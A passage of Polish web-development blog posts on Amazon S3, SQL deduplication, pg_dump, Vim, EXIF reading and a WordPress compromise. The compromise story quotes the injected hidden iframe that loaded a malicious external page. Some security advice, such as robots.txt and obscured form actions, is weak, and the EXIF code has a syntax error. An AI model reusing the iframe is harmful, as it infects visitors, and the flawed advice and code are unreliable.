Amazon s3 – sposób na tani hosting plików aplikacji.

Amazon s3 (Simple Storage Service) jest usługą online, która umożliwia składowanie danych na przestrzeni dyskowej serwerów Amazon. W zależności od potrzeb, dane mogą być składowane w USA bądź też w Europie. Usługa s3 wyposarzona jest w API dzięki któremu w prosty sposób można operować na składowanych zasobach.

Usługa ta jest niesamowicie tania, opłaty pobierane są od:

  • zajmowanego miejsca – $0.18 za 1GB / miesiąć
  • zużytego transferu – $0.10 za 1GB transferu IN, $0.10 – $0.17 za 1GB transferu OUT
  • liczby request’ów – $0.012 za 1,000 request’ów PUT, POST, LIST, $0.012 za 10,000 requesty GET i wszelkie inne

Jak widać opłaty są śmiesznie niskie, w przypadku serwisu posiadającego duże ilości multimediów (zdjęcia, wideo etc..) i generującego spory ruch dużo taniej wyjdzie korzystanie z s3 niż korzystanie z jakiegokolwiek hostingu.

Dzięki kalkulatorowi możemy zaplanować i przewidzieć przyszłe koszta i tak możemy wyliczyć, że miesięczny koszt przetrzymywania 10GB i 100GB tranferu kosztować będzie w okolicach $17. Tanio prawda?

Dodatkowo korzystając z usługi Amazon nie trzeba martwić się o utratę danych, bądź ich czasową niedostępność. Infrastruktura s3 jest naprawdę znakomita, jak do tej pory nie było żadnych przypadków przerw w działaniu, a szybkość działania jest naprawdę imponująca.

Jak korzystać?

Aby zacząć korzystać z s3 należy utworzyć konto a następnie aktywować usługę poprzez autoryzację karty kredytowej. Polecam zaznajomić się z obszernym artykułem opisującym filozofie działania Amazon Web Services.

Powstało wiele bibliotek ułatwiających pracę z API s3, na wyróżnienie zasługuje class.s3.php.
Poniżej prościutki przykład użycia tej klasy:

//tworzymy obiekt klasy s3 przekazując identyfikatory naszego konta
$s3 = new S3($AMAZON_KEY, $AMAZON_PRIVATE_KEY);

//tworzymy folder
if( !$s3->bucketExists( 'FOLDER' ) ) {
	$result = $s3->createBucket( 'FOLDER' );
}

//wgrywamy plik
$result = $s3->putObject( 'FOLDER', 'DIST_FILE_NAME', 'PATH_TO_FILE', true );

//od tej chwili możemy się odwoływać do wgranego pliku poprzez http
//http://s3.amazonaws.com/FOLDER/DIST_FILE_NAME

//odczytujemy informacje wgranego obiektu
$objectData = $s3->getObjectInfo( 'FOLDER', 'DIST_FILE_NAME' );

if( !$result ) {
  print $s3->_error ;
}

//kasowanie elementow folderu
$s3->recursiveDelete( 'FOLDER', '' );

Uwaga, klasa ta wymaga dostępu do curl’a bash’owego.
W przypadku gdy funkcja shell_exec() jest zablokowana należy skorzystać z innej biblioteki np. phps3tk.

update 2008-12-19:
Znalazłem bardzo przydatny plugin do Firefox’a Amazon S3 Firefox Organizer(S3Fox), który umożliwia zarządzanie danymi na Amazon s3 z poziomu przeglądarki.

Plugin S3Fox umożliwia praktycznie wszystkie operacje na Amazon S3 jakie udostępnia API: przeglądanie, tworzenie/kasowanie/modyfikowanie folderów, wgrywanie i kasowanie zasobów oraz zarządzanie prawami dostępu do danych.

Dodatkowo generuje log z wykonanych czynności oraz wiele ułatwień. Dzięki niemu możemy przetestować poprawność naszych mechanizmów php’owych, oraz w przypadku jednorazowego upload’u zaoszczędzić czas na pisanie skryptów.

Strona domowa projektu S3Fox.

Jak usunąć zduplikowane rekody w tabeli bazy danych?

Czasami zdarza się że, poprzez nie do końca poprawną walidację danych wejściowych lub z powodu błędnego działania aplikacji stworzą nam się w bazie danych zduplikowane rekordy.

Takie niepożądane zduplikowane dane w 90% będą nam przeszkadzać i w najlepszym razie mogą powodować niepotrzebny zamęt w aplikacji. Skutki mogą takżę spowodować dużo poważniejsze problemy jak chociażby rozsynchronizowanie się danych w powiązanych tabelach w bazie.

Co należy robić w przypadku wykrycia zduplikowanych rekordów?

W pierwszej kolejności trzeba dojść do tego w jaki sposób powstały a następnie trzeba usprawnić aplikację w taki sposób aby powstawanie duplikatów było już niemożliwe.
Następnie trzeba wziąć się za zapisane dane i należy usunąć z nich nadmiarowe rekordy.

Usuwanie zduplikowanych rekordów

Usuwać duplikaty można na conajmniej kilka sposobów. Najczęstszą radą spotykaną w internecie to przeniesienie unikalnych rekordów do nowej tymczasowej tabeli, skasowanie wszystkich danych ze starej tabeli, a następnie zgranie z powrotem rekordy unikalne.

Niestety nie jest to metoda ani szybka, ani skuteczna ani bezpieczna.

Na prościutkim przykładzie rzedstawię poniżej najlepszy sposób na pozbycie się duplikatów

Tworzymy przykładową tabelę:

CREATE TABLE people(
	id SERIAL PRIMARY KEY,
	name VARCHAR(100) NOT NULL,
	surname VARCHAR(100) NOT NULL,
	phone VARCHAR(100) NOT NULL,
	email VARCHAR(100) NOT NULL
);

Tabela zawiera autoinkrementowane pole id, które jest kluczem jej głównym i kilka pól przetrzymujących dane.

Wstawiamy zduplikowane rekordy:

INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Marcin','Maczka','660111111','marcin@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Agnieszka','Czopek','550123123','aga@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');
INSERT INTO people(name,surname,phone,email) VALUES('Jas','Kowalski','555123147','jas@nospam.pl');

Wyświetlamy zawartość tabeli:

SELECT * FROM people;
 id |   name    | surname  |   phone   |      email       
----+-----------+----------+-----------+------------------
  1 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  2 | Marcin    | Maczka   | 660111111 | marcin@nospam.pl
  3 | Agnieszka | Czopek   | 550123123 | aga@nospam.pl
  4 | Jas       | Kowalski | 555123147 | jas@nospam.pl
  5 | Jas       | Kowalski | 555123147 | jas@nospam.pl
(5 rows)

Jak widzimy mamy zduplikowane 2 rekordy, pierwszym krokiem do usunięcia rekordów będzie napisanie zapytania, które je wyświetli a następnie
zmienimy SELECT NA DELETE.

SELECT
	id, name, surname, phone, email
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

Wynikiem zapytania będzie:

 id |  name  | surname  |   phone   |      email       
----+--------+----------+-----------+------------------
  1 | Marcin | Maczka   | 660111111 | marcin@nospam.pl
  4 | Jas    | Kowalski | 555123147 | jas@nospam.pl
(2 rows)

Wyjaśnienie zapytania:

  • SELECT _FIELDS_ FROM people – deklarujemy pola, które checmy wyświetlić
  • WHERE EXISTS( _CONDITION_ ) – które spełniają warunek _CONDITION_
  • SELECT NULL FROM people AS P – w podzapytaniu nic nie wyświetlamy, wykorzystujemy je jedynie do złączenia
  • WHERE _CONDITION_ – joinujemy po wszystkich polach, które mają tworzyć unikalny klucz
  • GROUP BY _FIELDS_ – grupujemy wg. unikalnych pól
  • HAVING people.id < MAX(P.id) – warunek na id

Modyfikujemy teraz powyższe zapytanie SELECT _FIELDS_ na DELETE

DELETE
FROM
	people
WHERE
	EXISTS (
		SELECT
			NULL
		FROM
			people AS P
		WHERE
			people.name = P.name
			AND people.surname = P.surname
			AND people.phone = P.phone
			AND people.email = P.email
		GROUP BY
			P.name, P.surname, P.phone, P.email
		HAVING
			people.id < MAX(P.id)
	);

I otrzymujemy tabele wyczyszczoną z nadmiarowych rekordów.

Jakie to proste.

**********************edit**********************

Jak słusznie zauważył kolega Wild Child powyższe zapytanie nie działa w mySQL.
Przyznaje się bez bicia, że testowałem jedynie w PostgreSQL gdyż powyższy kod SQL
wyglądał na uniwersalny.

Okazało się jednak, że mySQL nie pozwala na jednoczesne wyświetlanie i modyfikowanie
zawartości tabeli. (jednoczesny DELETE w zapytaniu głównym i SELECT w podzapytaniu)

Posiedziałem trochę i wymyśliłem alternatywne zapytanie:

SELECT 
	D.*
FROM 
	people as U
INNER JOIN 
	people AS D ON (
	   	D.name = U.name AND
   		D.surname = U.surname AND
	   	D.phone = U.phone AND
	   	D.email = U.email
	   )
AND 
	D.id > U.id;

Konstrukcja tego zapytania jest nieco inna:

  • Robimy JOINA wewnątrz tabeli po polach, które mają być unikalne
  • Zostawiamy rekord o najniższym id, a resztę kasujemy (warunek AND D.id > U.id)
  • Skróty: D – duplicate, U – unique
  • Oczywiście aby usunąć rekordy należy zamienić słowo SELECT na DELETE

Dumpowanie bazy danych w PostgreSQL (pg_dump)

W trakcie tworzenia aplikacji internetowej początkowo projekt powinien powstawać w lokalnym środowisku programistycznym. Może to być wewnętrzny serwer firmowy, czy po prostu domowy komputer.
Dzięki temu możemy pracować na optymalnej konfiguracji serwerowej, która może nam ułatwiać niektóre czynności. Oszczędzamy także na czasie połączenia ze zdalnym serwerem bazodanowym.
Dopiero gdy aplikacja będzie miała wersję w miarę stabilna (nazwijmy ją beta czy RCx) to możemy ją przenieść na serwer docelowy i dalsze testy przeprowadzać już tam.

W trakcie przenoszenia aplikacji, będziemy musieli oprócz plików przenieść zawartość bazy danych, poniżej przedstawiam opis wszystkich dostępnych parametrów dumpowania dla bazy PostgreSQL 8.2.

Użycie: 
  pg_dump [OPTION]... [DBNAME] 

Podstawowe opcje: 
  -f, --file=FILENAME      nazwa pliku, w którym zapisany będzie dump 
  -F, --format=c|t|p       format pliku (dowolny, tar, tekstowy) 
  -i, --ignore-version     wymuś działanie nawet gdy wersja psql jest inna od wersji pg_dump 
  -v, --verbose            verbose mode 
  -Z, --compress=0-9       poziom kompresji (dla formatów skompresowanych) 
  --help                   po dumpowaniu wyświetl pomoc 
  --version                po dumpowaniu wyświetl informację o wersji 

Opcje kontrolujące dumpowane dane: 
  -a, --data-only             dumpuj tylko dane, bez schematu bazy danych 
  -b, --blobs                 dumpuj także pola tylu blobs 
  -c, --clean                 w dumpie najpierw wyczyć strukture (poprzez dropy) 
  -C, --create                zamieść w dumpie komendę tworzenia bazy danych 
  -d, --inserts               dumpuj dane jako oddzielne komendy INSERT commands (domyślnie dumpowanie jest poprzez COPY) 
  -D, --column-inserts        dumpuj dane jako oddzielne komendy INSERT commands z nazwami kolumn (domyślnie dumpowanie jest poprzez COPY) 
  -E, --encoding=ENCODING     dumpuj dane używając kodowania ENCODING 
  -n, --schema=SCHEMA         dumpuj tylko schemat(y) SCHEMA 
  -N, --exclude-schema=SCHEMA dumpuj wszystko oprócz schamat(ów) SCHEMA 
  -o, --oids                  dumpuje wraz z numerami OID 
  -O, --no-owner              pomiń zapis odnośnie właściciela bazy danych 
  -s, --schema-only           dumuj tylko strukture bazy danych 
  -S, --superuser=NAME        w dumpie będzie zawarta nazwa superusera 
  -t, --table=TABLE           dumpuj jedynie tabele TABLE z bazy danych 
  -T, --exclude-table=TABLE   dumpuj wszystkie tabele oprócz TABLE 
  -x, --no-privileges         dumpuj z pominięciem praw dostępu (grant/revoke) 
  --disable-dollar-quoting    dumpuj z pominięciem 'dollar quoting', zostanie użyte standardowy ' 
  --disable-triggers          dumpuj z pominięciem procedur wyzwalanych automatycznie (triggers) 

Opcje potrzebne do połączenia: 
  -h, --host=HOSTNAME      serwer na którym postawiona jest baza 
  -p, --port=PORT          port serwera pod którym baza jest dostępna (domyślnie: "5432") 
  -U, --username=NAME      nazwa użytkownika bazy danych 
  -W, --password           wymuszenie podania hasła

Osobiście używam polecenia:

pg_dump -c -O -U USERNAME DBNAME -h HOSTNAME -p 5432 --disable-dollar-quoting -i > DBNAME-YYYY-MM-DD.sql

Otrzymany dump najpierw zawiera wyczyszczenie struktury bazy danych (-c) (jest to przydatne gdy nadpisujemy istniejącą już bazę danych), pomijam zapis dotyczący właściciela bazy danych (-O) (gdyż na 99% właściciel bazy danych źródłowej i docelowej będzie inny), pomijam parametry -d -D i dumpuję baze poprzez COPY (takie dumpowanie znacznie przyspiesza wczytywanie zdumpowanych danych) wczytuje użytkownika jakim się łączę (-U USERNAME), nazwę bazy danych (DBNAME), host serwera na którym jest baza danych (-h HOSTNAME), port na którym się łączę z bazą danych (-p 5432), wymuszam standardowe apostrofy (–disable-dollar-quoting) i na wszelki wypadek ignoruję różnice wersji (-i). Dane zapisuję w pliku o nazwie równoważnej z nazwą bazy danych w raz z bieżącą datą (> DBNAME-YYYY-MM-DD.sql)

Blokada witryny w google z powodu wykrycia malware.

Całkiem niedawno doznałem niezłego szoku gdy dostałem maila od Google, w którym zostałem poinformowany, że witryna www.poland2012.net, którą zarządzam została uznana za niebezpieczną dla użytkowników i częściowo zablokowana w wyszukiwarce.

Blokada polegała na wyświetlaniu w SERP-ach przy linku do witryny komunikatu: „Ta witryna może wyrządzić szkody na Twoim komputerze” ( ang: „This site may harm your computer” ). Po kliknięciu na link witryny pojawiała się kolejna strona z dodatkowym ostrzeżeniem „Ostrzeżenie – przejście do tej witryny może być niebezpieczne dla Twojego komputera!„, bez linka do strony docelowej. Przez to procent wejść z wyników naturalnych Google spadł praktycznie do zera gdyż jak widać bezpośrednio przejść an witrynę nie można było a szczerze wątpię aby komukolwiek mimo takich komunikatów chciał się ręcznie wpisywać adres „podejrzanej” domeny.

Powodem blokady domeny było zalezienie przez boty Google podejrzanych fragmentów kodu w kontencie witryny, które swoim działaniem mogły zainfekować potencjalnych odwiedzających. Z początku pomyślałem że to jakaś pomyłka bo przecież nigdy bym nawet nie pomyślał aby infekować kogokolwiek jakimś złośliwym oprogramowaniem typu malware czy spyware. Po chwili namysłu pomyślałem że przecież ktoś mógł taki kod wstawić w którymś z komentarzy do artykułów – przeszukałem zatem wszystkie treści wprowadzone przez użytkowników pod kątem wystąpienia „javascript” i „iframe” i nic nie znalazłem. Następną myślą było było sprawdzenie dla świętego spokoju źródła strony głównej. Jakże byłem zdziwiony gdy oczom moim ukazał się podejrzany kod:

<iframe src=http:///www.wp-stats-php.info/iframe/wp-stats.php width=1
height=1 frameborder=0></iframe>

Co najdziwniejsze kod ten znajdował się w środku tekstu wprowadzonego przeze mnie. Po kilku guglnięciach okazało się że to właśnie jest ten złośliwy kod o który chodzi Google – kod ten otwiera w niewidocznej ramce stronę, która infekuje system nieświadomego użytkownika. Czyżbym niechcąco go sam wprowadził? Niemożliwe…

Po kilku kolejnych guglnięciach okazało się że wersji Word Press’a, którego uzywam daleko jest do najaktualniejszej i w między czasie wydano kilka krytycznych updatów, które m.in poprawiały bezpieczeństwo danych. Zatem jasnym okazało się, że ktoś włamał się do systemu używając którejś z wykrytych luk i dokleił do niektórych postów niebezpieczny kod. Cóż uroki OpenSource.

Po odkryciu co i dlaczego jest nie tak zabrałem się za sprzątanie tego bałaganu, po kolei:

  1. Usunąłem zły kod malware.
  2. Zaktualizowałem Word Press’a do najnowszej wersji 2.3.2.
  3. Przesłałem informację do Google, że moja witryna jest już bezpieczna.

Po około dwóch dniach blokada w SERP-ach została zdjęta a tym samym sprawa zakończona.

Przygoda ta przypomniała mi o tym, że jeżeli korzystamy z jakichkolwiek aplikacji OpenSource to aby zapewnić maksymalne bezpieczeństwo trzeba ją regularnie aktualizować.

Jeszcze dla podejrzliwych dodam, że nie jest możliwe aby witryna została uznana za groźną poprzez jej zgłoszenie przez konkurencje. Proces sprawdzania witryn i ich ewentualna blokada jest procesem w pełni automatycznym.

Przydatne linki:

edit:

Google udostępniło poradnik dla webmasterów „Co zrobić gdy moja strona została zhakowana?„. Poniżej dodatkowy film:

VIM – podstawowe komendy

Ktoś może pomyśleć – „po co mi znajomość VIMa, przecież jest milion przyjaźniejszych dla użytkownika edytorów”. Zgodzę się, po części – jest wiele UNIX-owych edytorów tekstu posiadających interface dużo przyjaźniejszy jednak żaden z nich nie ma takich dużych możliwości jak stary poczciwy VIM, nie znam innego edytora, który z równie sprawnie i szybko edytuje pliki 200 megowe. Zresztą na niektórych serwerach (wierzcie mi, że są takie) VIM jest jedynym dostępnym edytorem tekstu.

Jako, że kiedyś sam szukałem prostego manuala z podstawowymi komedami VIMa to może komuś się przyda:

poruszanie się po dokumencie
+ – przejście do następnej linii
– – przejście do poprzedniej linii
0 – przejście do początku linii
^ – przejście do pierwszego znaku nie będącego znakiem białym w linii
$ – przejście na koniec linii
n| – przejście do kolumny n linii
} – przejście do następnego paragrafu
{ – przejście do poprzedniego paragrafu
% – przejście do otwarcia / zamknięcia nawiasu (),[],<>,{}
G – przejście na koniec dokumentu
nG – przejście do linii <n>

zapisywanie
:x lub :wq – zapisywanie pliku i wyjście
:q! – wyjście bez zapisania zmian
:w plik – zapisanie w nowym pliku „plik”

wyszukiwanie
/ STRING – szukanie do przodu
? STRING – szukanie do tyłu
n – przejście do następnego znalezionego elementu
SHIFT+n przejście do poprzedniego znalezionego elementu

kasowanie tekstu
x – kasowanie bieżącego znaku
nx – kasowanie znaków
dw – kasowanie bieżącego wyrazu
dd – kasowanie bieżącej linii
ndd – kasowanie <n> linii
D – kasowanie znaków od kursora do końca bieżącej lini
dG – kasowanie wszystkiego od kursora do końca dokumentu

edycja tekstu
o – wstawienie nowej linii poniżej bieżącej
O – wstawienie nowej linii powyżej bieżącej
i – rozpoczęcie edycji przed kursorem
I – rozpoczęcie edycji na początku bieżącej linii
a – rozpoczęcie edycji po kursorze
A – rozpoczęcie edycji na końcu bieżącej linii
cw – zastąpienie wyrazu (bieżący wyraz się kasuje, kursor ustawia się na jego początku)
cc – zastąpienie linii (bieżąca linia się kasuje, kursor ustawia się na jej początku)

kopiowanie i wstawianie
yw – kopiuj do schowka bieżący wyraz
yb – kopiuj do schowka poprzedni wyraz
Y – kopiuj do schowka bieżącą linię
nY – kopiuj następne <n> linii
p – wklej skopiowany tekst za kursorem
P – wklej skopiowany tekst przed kursorem

inne
u – cofnięcie ostatniej zmiany
U – cofnięcie wszystkich zmian w bieżącej linii
. – powtórzenie ostatniej komendy
SHIFT+# – wyszukiwanie wyrażeń pasujących do zaznaczonego
SHIFT+% – przejście do kolejnego nawiasu () lub {}
~ – zmiana litery z małej na dużą i na odwrót

zastępowanie
Można używać wyrażeń regularnych PERL- kompatybilnych

zastąpienie stringu OLD stringiem NEW
:s/OLD/NEW – pierwszego wystąpienia w bieżącej linii
:s/OLD/NEW/g – każdego wystąpienia w linii
:#,#s/OLD/NEW/g – pomiędzy liniami # i #
:%s/OLD/NEW/g – w całym dokumencie
:%s/\([0-9]\+\) OLD/\1 NEW/g – w całym dokumencie z użyciem backreferencji (trzeba poprzez „\” wyescapować znaki specjalne, następnie poprzez „\1” wstawić wyciągnięte dane)

praca z danymi zewnętrznymi
Vim umożliwia wywołanie dowolnej komendy z poziomu edytora, można także odczytywać efekt jej działania

:! komenda – wywołanie 'komenda’ w shellu i wyświetlenie jej wyniku, komenda może być każde polecenie unixowe
:r ! komenda – wywołanie 'komenda’ w shellu i wczytanie wyniku jej działania do edytora
:r ! last | grep user – na wywoływanych komendach można robić dowolne operacje przed wczytaniem do edytora
:r textfile – wczytanie źródła pliku 'textfile’ do edytora
:r ! w3m http://en.wikipedia.org/wiki/Vi -dump – wczytanie do edytora zawartości strony internetowej

Praca z zakładkami
:tabs – wyświetlenie informacjie o aktualnie otwartych zakładkach
:tabnew – otwarcie pustej zakładki
:tabnew FILE – otwarcie pliku FILE w nowej zakładce
:tabf FILE – otwarcie pliku w nowej zakładce
:tabn – przejście do następnej zakładki
gt – przejście do następnej zakładki (działa w trybie NORMAL)
gT – przejście do poprzedniej zakładki (działa w trybie NORMAL)
n gt – przejście do zakładki o numerze n (działa w trybie NORMAL)
n gT – cofnięcie się do zakładki znajdującej się w odległości n od aktualnej (działa w trybie NORMAL)
:tabp – przejście do poprzedniej zakładki
:tabl – przejście do ostatniej zakładki
:tabc – zamknięcie aktualnej zakładki, gdy jest jedna karta, to nie będzie zamknięta
:tabo – zamknięcie wszystkich zakładek oprócz tej która jest aktualnie używana
:tabd KOMENDA – wykonuje komendę na wszystkich otwartych zakładkach

Polecam rewelacyjny VIM Tutorial.

Możliwe problemy i ich rozwiązania

  • Jeżeli przy wklejaniu do konsoli kodu z tabulacjami/spacjami tworzą się niechciane wcięcia należy użyć polecenia „:set paste” następnie wkleić kod i ponownie ustawić „:set nopaste”, więcej o wklejaniu na w tym temacie stackoverflow.

Zobacz też A vim Tutorial and Primer.

Proste i skuteczne zabezpiecznie przez spamującym botem.

Tworząc aplikacje internetowe dostępne bez autoryzacji dla wszystkich internautów musimy liczy się z tym, że wszelkie formularze są narażone na setki spamu wstawianego przez różnorakie boty.
Dotyczy to np. formularza kontaktowego lub chociażby formularz komentowania WordPress’a.

Rozwiązań jest wiele: można zaserwować botowi zagadkę logiczną typu „ile to jest 4+4=?” lub wstawić znienawidzony przez wielu kod CAPTCHA, którego odgadnięcie w wielu przypadkach graniczy z cudem.
Ja proponuję inne i dużo prostsze rozwiązane skuteczne w ponad 99%.

Action formularza ustawiamy na # (czyli przeładowanie na bieżącą stronę) a następnie w prostym skrypcie javascriptowym podmieniamy na właściwy adres.

<form action="#" method="post" id="sample_form">
<fieldset>
  <label>Wiadomość:</label>
  <textarea rows="5" cols="5" name="message"></textarea>
  <br />
  <input class="button" type="submit" value="Wyślij" />
  </fieldset>
  <noscript><h3 class="red">Do poprawnego wysłania wiadomości wymagana jest włączona obsługa JavaScript.</h3></noscript>
</form>    

<script type="text/javascript">
<!--
  document.getElementById( "sample_form" ).action = 'http://www.sample.pl/send.php';
//-->
</script>

W ten sposób, jako, że żaden bot jeszcze nie umie (i nie zanosi się na to w najbliższej przyszłości) czytać JSa, parsując stronę HTML nie odnajdzie docelowego skryptu odbierającego dane z formularza a zatem jestesmy pewni, że nie dostaniemy żadnych niechcianych wpisów.
Użytkownikom, nie posiadającym włączonej obsługi javascript ukarze się stosowny napis zawarty w tagu noscript i jeżeli będzie im zależało na wysłaniu formularza to wierzcie mi, że włączą JSa ;-)

W przypadku opensourcowych skryptów typu WordPress istnieje możliwość, że boty będą próbować odwoływać się bezpośrednio do domyślnego pliku odbierającego dane, w takim przypadku wystarczy zmienić jego nazwę choćby z wp-comments-post.php na wp-comments-post-2.php i sprawa załatwiona. Nie wierze aby komukolwiek chciało się ręcznie wpisywać do spamiarki adresy.

Odczytywanie informacji EXIF zdjęcia w PHP

Większość aparatów cyfrowych w pliku ze zdjęciem zapisuje nagłówki informujące o parametrach zrobionego zdjęcia, użytego aparatu. Dane te są zapisane w formacie IPTC i zawierają takie dane jak: datę i czas zrobienia zdjęcia, czas naświetlania, przysłonę, ogniskową, ISO, program paratu, nazwę producenta i modelu aparatu etc…

Informacje te można odczytywać i modyfikować w programach graficznych, standard IPTC szczególnie przydatny jest w fotografii stockowej (opis wykorzystania standardu IPTC).

Dane zapisane w pliku JPEG/TIFF możemy w prosty sposób odczytać w skrypcie PHP. Dostępna jest specjalna bibloteka EXIF, która nam to umożliwia. Aby móc korzystać z tej biblioteki PHP musi być skompilowane z opcjami –enable-exif i –enable-mbstring.

Poniżej przykładowa funkcja, zwracająca informacje o zdjęciu

/**
* Metoda zwraca informacje o zdjęciu
*
* @param string $file - sciezka do zdjecia
* @return array od mixed - informacje o zdjeciu
* @access public
*/
function getImageInfo( $file ) {
	$exif = exif_read_data( $file, "IFD0" );
	if( $exif ) {
		$return exif_read_data( $file, 0, true );
	}
}

Funkcja zwraca tablice z danymi, które możemy zaprezentować na stronie przy zdjęciu.
Poniżej przykładowy wynik powyższej metody.

Array
(
    [FILE] => Array
        (
            [FileName] => IMG_7378.jpg
            [FileDateTime] => 1198952415
            [FileSize] => 1240033
            [FileType] => 2
            [MimeType] => image/jpeg
            [SectionsFound] => ANY_TAG, IFD0, THUMBNAIL, EXIF
        )

    [COMPUTED] => Array
        (
             => width="2664" height="2304"
            [Height] => 2304
            [Width] => 2664
            [IsColor] => 1
            [ByteOrderMotorola] => 0
            [CCDWidth] => 17mm
            [ApertureFNumber] => f/18.0
            [Thumbnail.FileType] => 2
            [Thumbnail.MimeType] => image/jpeg
        )

    [IFD0] => Array
        (
            [ImageDescription] => Red Tomato isolated on white background
            [Make] => Canon
            [Model] => Canon EOS 350D DIGITAL
            [Orientation] => 1
            [XResolution] => 2400000/10000
            [YResolution] => 2400000/10000
            [ResolutionUnit] => 2
            [Software] => Adobe Photoshop CS3 Windows
            [DateTime] => 2007:12:29 19:20:14
            [Artist] => Marcin Mamala
            [Exif_IFD_Pointer] => 296
        )

    [THUMBNAIL] => Array
        (
            [Compression] => 6
            [XResolution] => 72/1
            [YResolution] => 72/1
            [ResolutionUnit] => 2
            [JPEGInterchangeFormat] => 798
            [JPEGInterchangeFormatLength] => 3028
        )

    [EXIF] => Array
        (
            [ExposureTime] => 1/20
            [FNumber] => 18
            [ExposureProgram] => 1
            [ISOSpeedRatings] => 100
            [ExifVersion] => 0221
            [DateTimeOriginal] => 2007:12:29 18:06:50
            [DateTimeDigitized] => 2007:12:29 18:06:50
            [ShutterSpeedValue] => 4321928/1000000
            [ApertureValue] => 833985/100000
            [ExposureBiasValue] => 0/2
            [MaxApertureValue] => 434375/100000
            [MeteringMode] => 5
            [Flash] => 16
            [FocalLength] => 43
            [ColorSpace] => 65535
            [ExifImageWidth] => 2664
            [ExifImageLength] => 2304
            [FocalPlaneXResolution] => 3456000/874
            [FocalPlaneYResolution] => 2304000/582
            [FocalPlaneResolutionUnit] => 2
            [CustomRendered] => 0
            [ExposureMode] => 1
            [WhiteBalance] => 0
            [SceneCaptureType] => 0
        )

)

Działanie response w FireBug

Co to jest Firebug nie będę wyjaśniał, każdy webdeveloper powinien wiedzieć o co chodzi. W dwóch słowach: jest to bardzo przydatny plugin do Firefoxa umożliwiający m.in wyświetlenie wszystkich request-ów wygenerowanych przez wygenerowaną stronę. Dotyczy to zarówno żądań wygenerowanych przez odwołania do obrazków, css-ów jak i żądań wygenerowanych przez skrypty javascript-owe i flash-owe. (inspect->net-all)

Przy każdym requescie można podglądnąć 'response’ – czyli odpowiedź skryptu na wysłane żądanie. Jest to szczególnie przydatne w przypadku debugowania serwerowych skryptów aplikacji, które dostarczają dane skryptom działającym po stronie przeglądarki (np. javascript, flash).

Ale uwaga! Należy pamiętać, że w momencie gdy w Firebugu przy danym requescie klikniemy na response to prezentowany response niestety nie jest tym oryginalnym tylko skrypt, którego dotyczy jest wywoływany ponownie.

Wszystko byłoby fajnie gdyby nie to, że niektóre skrypty serwerowe wykonują operacje, które nie można powtórzyć (np. INSERTy, DELETy w bazie) i w takim przypadku kolejne wywołania zwrócą już błędne dane. W takim wypadku jedyna sensowną opcją debugowania pozostaje zapis do pliku. Nie jest to niestety zbyt przyjazna metoda, ale cóż…jedyna skuteczna.

Bot alexa.com i znikające dane w serwisach.

Dostałem ostatnio zgłoszenie, że w aplikacji, którą jakis czas temu napisałem zniknęło część kluczowych danych. Mniejsza z tym, jakie to były dane, powiedzmy ze chodzi o dane kont użytkowników, których usunięcie pociągnęło za sobą kaskadowe skasowanie się wielu innych danych z tabel zależnych.Sytuacja wydała się dosyć dziwna i podejżana. Pierwsza myśl, która zawitała w mej głowie to „pewnie, któryś z adminów niechcąco skasował” było to prawdopodobne tym bardziej, że kiedyś miało juz miejsce podobne zdarzenie. Tym razem jednak żaden z administratorów nie przyznał się do omyłkowego skasowania danych.

Kolejny powód zniknięcia danych o jakim pomyślałem to włam jakiegoś pseudo-hakera i celowe zniszczenie danych. Zaglądam do access-logów serwera z tego feralnego dnia, grepuje po pliku logowania i widze, że logowania pochdziły jedynie ze sprawdzonych IP. Hmm…gerpuje więc po pliku zawierającym sktypt kasujący głowne dane i oczom moim ukazuje się kilka lini, każda postaci:

user 64.208.172.180 - - [29/Oct/2007:17:28:46 +0100] "GET /skrypt_kasujacy.php?userID=15 HTTP/1.0" 302 - "-" "ia_archiver"

Jakim cudem ktoś wywołał (z powodzeniem) skrypt kasujący dane bez wcześniejszej poprawnej autoryzacji logowania? Od razu sprawdzam źródła aplikacji, czy aby jest dobrze zabezpieczona i… jest zabezpieczona poprawnie. wtf?

Totalnie zdziwiony stwierdzilem, że trzeba troche poguglać na temat 64.208.172.180 i „ia_archiver”. Po krótkiej chwili okazało się, że nazwa user agenta „ia_archiver” odpowiada nazwie z jaką się przedstawia bot alexa.com, aby mieć pewność, że ktoś się pod niego nie podszywa weryfikuje także IP, które potwierdza, że była to wizyta z serwera crawlera alexa.

Dobra to juz wiem, że dane nie skasował żaden haker tylko bot, ale to wcalenie jest pocieszająca myśl, to jest tragedia gdyż wynka, że moja aplikacja jest tak dziurawa, że nawet boty potrafią ją zaindeksować! Masakra…

Drążąc temat dalej dowiedziałem się, że bot alexa nie jest zwykłym botem jakich na pęczki w internecie gdyż oprócz latania jak głupek po wszystkich stronach www bieże informacje o stronach do odwiedzenia z Alexa Toolbar, który jaki dodatek można zainstalować w przeglądarce internetowej, także w ten sposób może zaindeksować strony, do których nie prowadzi żaden link a także te, które wymagają autoryzacji.
I tak właśnie było w tym wypadku, jeden z administratorów aplikacji miał zainstalowany alexa toolbar w swojej przeglądarce i przez to nawet gdy poruszał się w sekcji wymagającej autoryzacji to cały czas alexa była poprzez toolbar informowana o URLach przez niego odwiedzanych. W ten sposób w pewnym momencie bot zaindeksował stronę z listą użytkowników, przeparsował ją i wyciągnął linki prowadzące do usunięcia kont a następnie je wywołał i tym samym usunął konta.

Jak się okazało wywołanie linków kasujących dane zawsze miało miejsce w momencie gdy administrator był zalogowany w systemie. Domyślam się, że jakimś cudem bot poprzez toolbar przechwytywał zautoryzowaną sesje użytkownika i dzięki temu uzyskiwał dostęp do stron, do których dostępu mieć nie powinien!

Jak się zabezpieczyć?
Najlepiej stworzyć plik robots.txt w katalogu glównym aplikacji i wpisać w nim instrukcje nie pozwalającą botom na odwiedzani plików administracyjnych.

user-agent: *
Disallow: /admin_pages*

Ukrycie nazwy ściąganego pliku

Czasami chcemy udostępnić ściąganie plików jednak nie chcemy udostępniać bezpośredniego linków do pliku.

